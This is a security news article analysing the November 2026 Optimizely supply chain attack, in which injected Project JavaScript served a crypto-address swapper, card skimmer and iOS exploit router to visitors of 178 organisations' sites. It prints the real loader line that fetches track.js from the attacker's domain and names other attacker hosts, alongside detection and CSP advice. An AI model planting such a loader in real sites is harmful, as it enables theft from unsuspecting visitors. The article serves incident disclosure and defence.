Note: articles are for educational purposes and are not professional security advice — consult an expert for your specific needs.

Optimizely supply chain attack hit Zoom and BBC

In short

On 16 November 2026 an attacker used what Optimizely calls a flaw in its account signup flow to plant a loader in the Project JavaScript of 188 snippets belonging to 178 organisations, including Zoom, the BBC, CNN and HSBC. Visitors were served a crypto-address swapper, a card skimmer and an iOS exploit-kit router, and about $7,040 in crypto reached the attacker's wallets. Allowing cdn.optimizely.com in a security policy did not help, because the code came from that host.

A script file with one red line feeding four browser windows that each show the same red line

On Monday, 16 November 2026, visitors to the websites of Zoom, the BBC, CNN, HSBC and IKEA were handed a stranger's code along with the page. Their own systems were not the way in. The Optimizely supply chain attack went through a file they all load from Optimizely, and it was built to swap crypto wallet addresses, steal card numbers and, on older iPhones, try to break in.

The code sat in Optimizely Web Experimentation, the A/B testing service these sites use to try out page designs. Report URI, a firm that monitors the scripts websites run, found it in 188 of the 1,611 Optimizely files it checked, belonging to 178 organisations. About $7,040 in crypto reached the attacker's wallets within nine hours. Optimizely says the hole is fixed. How the attacker got in, and how many cards were taken, are still open questions. Here is what is confirmed, what is not, and how to check your site and your phone.

What happened in the Optimizely supply chain attack?

An attacker planted a loader in the custom code that 178 organisations keep in Optimizely, and Optimizely's own servers delivered it to their visitors from 04:21 UTC on 16 November until a clean-up that evening.

The timeline below comes from Report URI's analysis, with the times in UTC. Add five and a half hours for India: the first injection landed at 9:51 am IST.

  • 04:21: the BBC's Optimizely file starts loading code from webshell.lol, a domain Report URI ties to the same actor.

  • 05:23: 1688360.cc, the domain that would serve the main payload, is registered.

  • 08:28: the payload, a file called track.js, is first seen loading on bbc.com.

  • 11:20: Zoom's file is changed, according to its Last-Modified header.

  • 13:43: a card skimmer is added to track.js.

  • 15:00: the security blog Amirul Cyber publishes an early write-up and names the campaign OPTIMJACK.

  • 17:13 to 17:57: iPhone visitors on iOS 18.6 or earlier start getting a hidden exploit frame.

  • 19:24 to 19:59: Report URI's sweep finds 186 infected files.

  • 20:10: Scott Helme, Report URI's founder, posts the findings on X.

  • About 20:40 to 21:10: a mass clean-up runs. By 21:52 only TalkTalk's file still carries the code.

  • 01:02 on 17 November: Optimizely's status page confirms the incident.

The attacker kept working all day. Report URI counted 26 builds of track.js on 16 November, as the attacker added features and wallets. The domain was put on hold by its registry at 00:37 UTC on 17 November and no longer resolves, StepSecurity found.

How did one Optimizely flaw reach 178 organisations at once?

Every Optimizely Web customer loads a script, called a snippet, from Optimizely's servers, and each snippet runs a field of custom code called Project JavaScript on every page. The attacker wrote into that field.

Optimizely's own documentation says the snippet "automatically updates every time you create, modify, or archive any asset or setting compiled into the snippet." That is the point of the product: marketing teams change a page without waiting for developers. It also means whoever can edit a project can change what runs on every page of that site, within minutes. This is the line Report URI found added to Zoom's file:

"projectJS": function(){(function(){try{var s=document.createElement('script');
s.src='https://1688360.cc/track.js';s.async=true;
(document.head||document.documentElement).appendChild(s);}catch(e){}})();

The rest of each file was untouched, and it was still served from cdn.optimizely.com with Optimizely's own certificate. "Optimizely's CDN served exactly what it was given; this was not a CDN cache-poisoning attack," Report URI wrote. Sites that serve the snippet from their own domain were hit too, because the content comes from the same project.

The loader came in three versions. Most files used the plain line above. One hid the address in base64 and decoded it with atob(), so a search for "1688360" finds nothing. A third carried a full copy of the payload that runs through eval() if the domain is blocked. Smartsheet's file was cleaned once and then re-infected with the hidden version, which shows the attacker still had access at that point.

Optimizely told BleepingComputer and Gizmodo that "an unauthorized party exploited a vulnerability in the Experimentation account signup flow." It says it blocked the vulnerable path, deployed a fix, removed the injected code, ended sessions, revoked tokens and notified all affected customers. Its public status notice is vaguer: it mentions only "a vulnerability in Experimentation" and leaves out the signup flow. Neither statement explains how a signup bug gave one person write access to 178 unrelated companies' projects. Before Optimizely spoke, Helme had put it plainly: "That's for Optimizely to explain."

Speed worked both ways. When we fetched the snippets researchers had caught carrying the loader, Cloudflare was serving them with cache lifetimes of 120 to 600 seconds. A change reaches visitors within two to ten minutes, which is how one edit spread so fast and why the clean-up was quick too.

What did the code do to visitors?

It did four things at once: it swapped crypto wallet addresses, skimmed card numbers typed into a site's own forms, sent off cookies and screenshots, and loaded an exploit-kit router on iPhones and iPads.

  • Address swapping. The script knew eight chains: Bitcoin, Ethereum and other EVM chains, TRON, Solana, TON, Litecoin, Bitcoin Cash and Dogecoin. It swapped only an address that passes its chain's checksum and sits near a word such as wallet, deposit or send. It rewrote page text, form fields, links, the clipboard and outgoing requests, so an address copied from an affected page could already be the attacker's when pasted.

  • Card skimming. From 13:43 UTC it watched form submissions and background requests for a card number that passes the Luhn check, an expiry date and a CVV, then sent all three to the attacker with navigator.sendBeacon. It could not read card fields inside a payment provider's own frame, such as Stripe's or Adyen's hosted fields.

  • Cookies and screenshots. Only after swapping an address near payment wording, it sent the page address, the cookies that page could read (not those marked HttpOnly) and a screenshot made with html2canvas.

  • The iOS stage. On iPhones and iPads it loaded a script called boot.js from two .icu domains. That script read the iOS version and opened an exploit chain in a hidden frame.

Every part ran inside the browser tab. Researchers found no exploit for Windows, macOS or Android in it, so on those systems it could only read and change what happened on the page. The researchers who captured it are careful about the limits. Cynet, whose endpoint tool flagged browser connections to the attacker's server, says its findings "do not establish that every visitor was infected, that financial information was stolen in every case, or that a particular website or service provider was itself breached." Report URI cannot see how many cards or cookies reached 1688360.cc.

Could the attack have hacked your iPhone?

Only if it runs an old version of iOS. Both exploit kits use flaws Apple fixed by February 2026, and nobody has reported a real iPhone being taken over in this campaign.

Report URI identified the kits as Coruna, for iOS 13 to 17, and DarkSword, for iOS 18. For iOS 26 the script loaded a separate chain that, so far, only collected details about the device. The kit's own comments mark iOS 18.7.3 and later, and iOS 26.3 and later, as patched. Cynet retrieved the second stage with an emulated iPhone browser and calls it conditional delivery, "not a successful compromise of a physical iPhone or iPad."

Both kits are known quantities. Google's threat intelligence group described Coruna in March: five full exploit chains and 23 exploits for iOS 13.0 to 17.2.1, used first by a surveillance vendor's customer, then by a suspected Russian espionage group and later by a financially motivated group operating from China, which used it on fake finance sites to steal crypto wallets. Google found the kit gives up if the phone is in Lockdown Mode or the user is browsing privately.

DarkSword, published by Google with Lookout and iVerify, covers iOS 18.4 to 18.7 with six flaws:

CVE-2025-43529 also opened another iOS attack this year, delivered through a hijacked analytics tracker, which we covered in mobile attacks using a patched Safari flaw.

Report URI's advice, repeated in news reports, is to install iOS 18.7.3 or 26.3 or later, which an iPhone 7 or iPhone X cannot run. Apple has covered those phones too. On 11 March 2026 it shipped iOS 15.8.7 and 16.7.15, which bring the Coruna fixes to "devices that cannot update to the latest iOS version," and on 1 April it offered iOS 18.7.7 to more devices so that people with automatic updates on "can automatically receive important security protections from web attacks called DarkSword," according to Apple's iOS 18.7.7 notes. The newest releases, all from 9 November 2026, are iOS 27.2.1, 26.7.3 and 18.7.12. The oldest phones get iOS 16.7.16 and 15.8.8, from May 2026.

Check under Settings, then General, then Software Update. If a phone cannot update, Google recommends Lockdown Mode. There was one visible sign: on iOS 18.6 or earlier, affected pages reloaded every 60 seconds to retry the exploit.

Which organisations were affected?

Report URI lists 178 organisations whose Optimizely files carried the code, including Zoom, Salesforce, GitLab, CNN, the BBC, Fox News, IKEA, HSBC, Equifax, Air France-KLM, Ledger and Peacock.

By sector, the biggest groups were:

  • Banking and finance: 32 organisations.

  • Technology and SaaS: 23, including Optimizely itself, whose main site and login page carried the code.

  • Retail and fashion: 20, from IKEA and ASOS to Crocs India.

  • Streaming and entertainment: 12, including Peacock and NOW TV.

  • News and media: 10, including CNN, the BBC, Fox News and NPR.

  • Airlines and travel: 9, including Air France-KLM and Alaska Airlines.

  • Crypto and trading: 6, including Ledger and IG, where address swapping hurts most.

The banking figure needs a footnote. Report URI counts each country website as its own organisation, so 11 of the 32 are HSBC sites (the US, Hong Kong, Mexico, Singapore, Australia, the UAE, Malaysia, Taiwan, Vietnam, Egypt and the Philippines) and four belong to Equifax. HSBC is also the clearest case of a partial defence: Report URI says its security policy blocked track.js and the data theft, "but the inline copy still ran." The only Indian domain on the list is crocs.in, though global sites such as Zoom and the BBC served the code to visitors everywhere, India included.

The list is a floor. Report URI could only check the snippets it found in time and says "the real number is likely higher." Viral posts that put the toll at "186 sites" took a mid-sweep count of infected files. Report URI also sells script monitoring, a point Gizmodo raised, but Optimizely has confirmed the incident and BleepingComputer, Cynet and StepSecurity each checked the findings themselves. StepSecurity found 76 public urlscan.io scans across 30 domains that recorded a request to 1688360.cc, with the payload itself stored for 17 of them. Salesforce told BleepingComputer it has disabled Optimizely scripts across preview and production instances.

How much money and data did the attacker take?

About $7,040 in crypto reached the attacker's wallets on 16 November, according to Report URI, but nobody outside the attacker knows how many card numbers or cookies were collected.

Most of it was Bitcoin: 0.08298 BTC, then worth about $5,380. The rest came in Litecoin, USDT on TRON and BNB Smart Chain, and a little Ether. The attacker moved stablecoins out at 13:03 UTC, and StepSecurity found the Litecoin, Ether and Bitcoin addresses emptied between 04:11 and 05:39 UTC on 17 November.

Not every dollar can be pinned on Optimizely. The TRON wallet has been in use since March 2026, and the Ether address received funds on 12 and 15 November, before the payload domain existed. Report URI also traced an earlier wave by the same actor, from 13 November, through Kissmetrics, StorifyMe and Minute Media scripts. As StepSecurity puts it, "the money is a small part of the damage. Stolen cookies, card data and any iOS compromise leave no trace on-chain."

What should you do if you visited an affected site?

You should check three things: any crypto payment you made on 16 November, any card you typed into a site's own checkout form that day, and your iPhone's iOS version.

The Optimizely supply chain attack window ran from 04:21 to 21:52 UTC, or 9:51 am on 16 November to 3:22 am on 17 November in India, though most sites were infected for less time.

  1. Crypto payments. Compare the address each payment went to with the one you meant to pay. From now on, check the address on the wallet's own screen, ideally a hardware wallet, never against copied text.

  2. Cards. If you typed a card into an affected site's own form after 13:43 UTC, ask your bank for a replacement. Watch your statements either way.

  3. iPhones and iPads. Install the latest iOS your device takes, or turn on Lockdown Mode if it cannot update.

  4. Accounts. Cookies left only from pages where an address was swapped, so for most readers this is a low risk. If you handled crypto on an affected site, sign out of it everywhere and sign back in.

Optimizely supply chain attack at a glance: read the Project JavaScript of every project; allowing cdn.optimizely.com does not help; check the address on the wallet's own screen; install the latest iOS your device takes

How do you check your own site if it uses Optimizely?

Read the Project JavaScript of every project and the custom code of every experiment, look for 1688360, atob( or anything you did not write, and ask Optimizely which of your projects were changed and how.

Report URI and StepSecurity add three steps. Review every user, API token and integration with write access, and rotate their credentials. Treat cards typed into your own forms on 16 November as exposed. Treat session tokens kept in cookies without the HttpOnly flag as exposed, and rotate them. Searching only the served file is not enough: the base64 version hides the domain, and the inline version does not need to load anything from it.

To make that faster we wrote optimizely_check.py, a single read-only Python file. It cuts the customer code out of a snippet, ignoring Optimizely's own library, and checks it for the published indicators, URLs hidden in base64, eval(), clipboard hooks and scripts from hosts you have not listed. We put the published loader back into a copy of a real snippet, once in plain text and once in base64, and it flagged both. These are its findings for the base64 copy, which a text search for the domain misses:

$ python3 optimizely_check.py snippet monday-base64.js
[HIGH  ] base64 hides published attacker host 1688360[.]cc: payload and data-collection host (track.js, card.php, hit.php) (decoded: https://1688360[.]cc/track[.]js)
           at monday-base64.js -> Project JavaScript
[INFO  ] creates a <script> element with a computed address
           at monday-base64.js -> Project JavaScript

Point it at your live snippet URL with --baseline and it saves a fingerprint, then tells you on the next run if the Project JavaScript changed or a new host appeared. Its api mode reads every project through Optimizely's REST API and lists code changes made on 16 November with the user and the source, UI or API, so each one can be confirmed.

We also ran it at 08:15 UTC on 17 November against the 12 snippet addresses that researchers had caught carrying the loader on Monday. All 12 were clean. Eight were last rebuilt between 20:10 and 21:38 UTC on 16 November, around the clean-up, and four had been republished on Tuesday morning. Each file also carries a revision number, both inside the file and in a header called x-amz-meta-revision, which climbs with every publish and makes a quiet change easy to spot.

A snippet that is clean now may still have served the code on Monday. Only Optimizely's records can say exactly when each project changed, so ask for them.

Why didn't Content Security Policy stop it?

Because the code came from a host every affected site already trusted, and two common Content Security Policy settings, 'strict-dynamic' and 'unsafe-eval', let it straight through.

A Content Security Policy (CSP) is a header that tells the browser which hosts a page may load scripts from and send data to. After the Optimizely supply chain attack, Report URI checked the affected organisations' own pages against what this payload needed. Sixty-eight had no CSP at all. Fifty had one that allowed both the payload and the data theft. Seventeen let the payload run but blocked the data theft, so address swapping still worked. Only 24, about 15%, blocked the payload.

Allowing cdn.optimizely.com does not help, because the code came from that host. What separated the 24 was a script-src that lists only the hosts a site needs. Two common settings undid that protection on many sites. With 'strict-dynamic', any script the trusted snippet inserts is trusted too. With 'unsafe-eval', the inline copy ran even where track.js was blocked, which is what happened at HSBC.

Optimizely's own CSP guide, last updated on 8 November 2026, recommends both. It suggests a nonce with 'strict-dynamic' and offers a two-part shortcut, script-src 'nonce-…' 'strict-dynamic', for modern browsers. It also says some features, including audiences with custom JavaScript conditions, need 'unsafe-eval'. We ran its complete example policy through our checker:

$ python3 optimizely_check.py csp --policy "<Optimizely's example policy>"
  Load track.js from 1688360[.]cc                            allowed  'strict-dynamic' in script-src trusts any script the snippet inserts
  Run the inline copy (eval or inline script)                allowed  'unsafe-eval' in script-src
  Send card, cookie and screenshot data to 1688360[.]cc      blocked  connect-src blocks it
  Load the iOS stage (boot.js) from eil786npto9u5bq[.]icu    allowed  'strict-dynamic' in script-src trusts any script the snippet inserts
  Open the hidden iOS exploit frame                          blocked  frame-src blocks it
Verdict: Payload ran, but connect-src blocked the data theft (the address swapping still worked)

A site that copied the example would have run the payload and had its visitors' addresses swapped, though its connect-src and frame-src would have stopped the data theft and the iPhone exploit frame. The two-part shortcut, which sets no connect-src, would have allowed everything.

The fix is not exotic. List script hosts in script-src instead of relying on 'strict-dynamic', drop 'unsafe-eval' unless a feature truly needs it, restrict connect-src and frame-src, and turn on reporting so a new host shows up as a violation report. Subresource Integrity, which pins a script to a hash, cannot help with a file that changes every time someone publishes an experiment. A consent banner controls when the snippet loads, not what is inside it: on one GitLab page, StepSecurity found, the consent manager is what loaded the infected file.

What is still unknown?

Most important, nobody outside Optimizely knows how a flaw in its account signup flow gave someone write access to 178 unrelated companies' projects. Optimizely has not explained it.

  • When the flaw was introduced, when it was fixed, and whether other projects were changed but not caught.

  • How many visitors loaded the code, and how many cards, cookies and screenshots reached the attacker.

  • Whether any real iPhone was compromised.

  • Who is behind it. The trail goes back further than Monday: Report URI says the same injector first appeared on Turkish sites on 17 September, and the Coruna loader matched a sample from a different campaign it analysed in October. No one has attributed the campaign.

  • Whether Optimizely will publish a root cause analysis. Its status page still read "Monitoring" at 08:32 UTC on 17 November, with one update.

Why do third-party script attacks keep happening?

Because one script vendor can reach thousands of sites at once, and most of those sites cannot see when a file they load changes.

Helme has been here before. In February 2018 he traced a crypto miner on the UK Information Commissioner's Office website to Browsealoud, an accessibility script loaded by more than 4,000 sites. "If you want to load a crypto miner on 1,000+ websites you don't attack 1,000+ websites, you attack the 1 website that they all load content from," he wrote then. In 2024 the new owner of the polyfill.io domain used it to push malware to more than 100,000 sites, Sansec reported. This year, attackers hijacked an analytics tracker to deliver iPhone exploits, as in the Safari case linked above. The past week alone brought the ScreenConnect attack through a forgotten add-on and the Cursor breach that put malware into copies of Claude Code.

The card industry's rules already expect this kind of attack. Since 31 March 2025, PCI DSS requirements 6.4.3 and 11.6.1 make merchants keep an inventory of every script on their payment pages, confirm each is authorised, and detect unauthorised changes. Merchants that send card entry entirely to a provider must still "confirm their site is not susceptible to attacks from scripts," the PCI Security Standards Council says. An experimentation snippet on a checkout page, editable by anyone with a marketing login, is exactly what those rules are about.

The lesson of the Optimizely supply chain attack is short: a script you trusted yesterday can change today, from the same address, with the same certificate. Keep testing tools off checkout pages, take card details in your payment provider's own frame, and treat every third-party file as code that someone else can edit.

FAQ

Frequently asked questions

Should I block cdn.optimizely.com?

No. Cynet, which traced the attack through its own customers, advises against broad blocks of cdn.optimizely.com or of the affected news sites, because the CDN is a legitimate host that served whatever customers' projects contained. Block the attacker's domains instead, such as 1688360.cc, webshell.lol and the .icu hosts researchers published, and remove the code from the Optimizely projects themselves.

Is it safe to keep using Optimizely?

Optimizely says it fixed the flaw, removed the injected code, ended sessions, revoked tokens and added protections against unauthorised code being delivered. Until it explains the root cause, limit what a future change could do: keep the snippet off checkout and login pages, list script hosts in your CSP instead of relying on 'strict-dynamic', and watch the snippet for changes you did not make.

Would an antivirus or ad blocker have stopped it?

Not for most of the day. The loader sat inside a file served by Optimizely's own server, which security tools treat as legitimate, and the attacker registered its domains days or hours before using them, so blocklists had no record of them. Cynet found the attack because its endpoint tool flagged browser connections to 1688360.cc.

Does the Optimizely flaw have a CVE number?

No. As of 17 November 2026 the National Vulnerability Database lists no CVE for it; its newest Optimizely entries date from July 2025 and cover the Episerver CMS. Optimizely has described the bug only as a vulnerability in the Experimentation account signup flow. The CVE IDs in this story belong to the iOS flaws the exploit kits use.

Sources

  1. Write-upWorld's Largest Brands Infected With Malware Via Optimizely · blog.report-uri.com
  2. Write-upWeb Experimentation Security Incident (Optimizely status page, 17 Nov 2026, 01:02 UTC) · status.optimizely.com
  3. Write-upOPTIMJACK: Malicious web injection across CNN, Zoom, Salesforce, Fox and more (Cynet, 17 Nov 2026) · cynet.com
  4. Write-upThe Proliferation of DarkSword: iOS Exploit Chain Adopted by Multiple Threat Actors (Google Threat Intelligence Group, 18 Mar 2026) · cloud.google.com
Vishal

About the author

· Software & security engineer

GitHub · LinkedIn · X

Vishal writes Trickyworld's tutorials and interview-preparation guides on programming, databases, cyber security and AI. Vishal has been shipping production software long enough to have firm opinions about Python, PHP, Node.js, and JavaScript, and to have been wrong about each of them at least once. The work has run the whole stack: Drupal and Laravel applications, React front ends, MySQL and MongoDB underneath, Redis and Memcached for the things that had to be fast, Apache Solr for the things that had to be findable. That last part turned out to matter more than anyone expected. Tune a Solr index for a season, then watch a language model confidently retrieve the wrong document, and you recognise an old problem wearing new clothes. Most of what is hard about AI systems is not the model. It is retrieval, caching, latency budgets, and deciding what the system does when the answer comes back wrong — which is work he has been doing since well before anyone called it AI engineering. He plays a lot of games, which is less a hobby disclosure than an admission of where a good share of his engineering instinct came from. Real-time systems with a frame budget. State that has to stay coherent while a player does something no designer anticipated. The permanent question of what happens when the frame cannot finish in time. Those habits carry over more directly than they have any right to. He has written several books on programming, all built on the same conviction: most technical writing is unclear because the author never decided what to leave out. More from Vishal → · Editorial policy

#content security policy#Cryptocurrency#malware#supply chain attack#cybersecurity#web security#JavaScript

More on Cyber Security.

Latest articles

$ subscribe --weekly

Get the next tutorial in your inbox.

Programming, security and AI — the practical bits, no spam. Unsubscribe any time.